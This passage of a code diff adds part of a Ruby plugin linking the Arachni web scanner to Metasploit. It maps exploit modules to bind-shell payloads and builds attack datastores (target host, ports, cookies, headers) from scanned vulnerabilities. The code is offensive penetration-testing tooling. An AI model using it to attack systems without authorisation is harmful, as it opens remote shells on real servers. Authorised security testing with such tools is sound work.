+ 'exploit/unix/webapp/arachni_php_include' => 'php/bind_php',
450
+ 'exploit/unix/webapp/arachni_exec' => 'cmd/unix/bind_perl',
451
+ 'exploit/unix/webapp/arachni_php_eval' => 'php/bind_php',
452
+ }
453
+ end
454
+ end
455
+
456
+ return payloads[sploit.fullname]
457
+ end
458
+
459
+ #
460
+ # Prepares a hash to be used as a module/framework datastore
461
+ # based on the provided vulnerability
462
+ #
463
+ def prep_datastore( vuln )
464
+
465
+ cvuln = vuln.dup
466
+
467
+ uri = cvuln[:host]
468
+ uri += cvuln[:path] if cvuln[:path]
469
+ uri += cvuln[:query] if cvuln[:query]
470
+
471
+ print_status( "Preparing datastore for '#{cvuln[:name]}' vulnerability @ #{uri} ..." )
472
+
473
+ datastore = {}
474
+ datastore["SRVHOST"] = "127.0.0.1"
475
+ datastore["SRVPORT"] = ( rand( 9999 ) + 6000 ).to_s
476
+ datastore["RHOST"] = cvuln[:host]
477
+ datastore["RPORT"] = cvuln[:port]
478
+ datastore["LHOST"] = "127.0.0.1"
479
+ datastore["LPORT"] = ( rand( 9999 ) + 5000 ).to_s
480
+
481
+ datastore["SSL"] = cvuln[:ssl]
482
+
483
+ case cvuln[:method]
484
+ when 'GET'
485
+ datastore["GET"] = hash_to_query( cvuln[:params] )
486
+ when 'POST'
487
+ datastore["POST"] = hash_to_query( cvuln[:params] )
488
+ end
489
+
490
+ datastore["METHOD"] = cvuln[:method]
491
+
492
+ datastore["COOKIES"] = cvuln[:headers]['cookie']
493
+ headers = cvuln[:headers]
494
+ headers.delete( 'cookie' )
495
+
496
+ datastore["HEADERS"] = hash_to_query( headers, '::' )
497
+ datastore["PATH"] = cvuln[:path]
498
+
499
+ return datastore.dup
500
+ end
501
+
502
+ #
503
+ # Splits and converts a query string into a hash
504
+ #
505
+ def hash_to_query( hash, glue = '&' )
506
+ return hash.to_a.map do |item|
507
+ next if !item[1]
508
+ "#{item[0]}=#{item[1]}"
509
+ end.reject do |i| !i end.join( glue )
510
+ end
511
+
512
+ end
513
+
514
+ def initialize( framework, opts )
515
+ super
516
+ # console dispatcher commands.
517
+ add_console_dispatcher( ArachniCommandDispatcher )
518
+ end
519
+
520
+ def cleanup
521
+ remove_console_dispatcher( 'Arachni' )
522
+ end
523
+
524
+ def name
525
+ "arachni"
526
+ end
527
+
528
+ def desc
529
+ %q{Provides an exploitation platform for web app vulnerabilities
530
+ discovered by the Arachni WebApp Security Scaner Framework
531
+ (http://github.com/Zapotek/arachni)}
532
+ end
533
+
534
+ end
535
+
536
+ end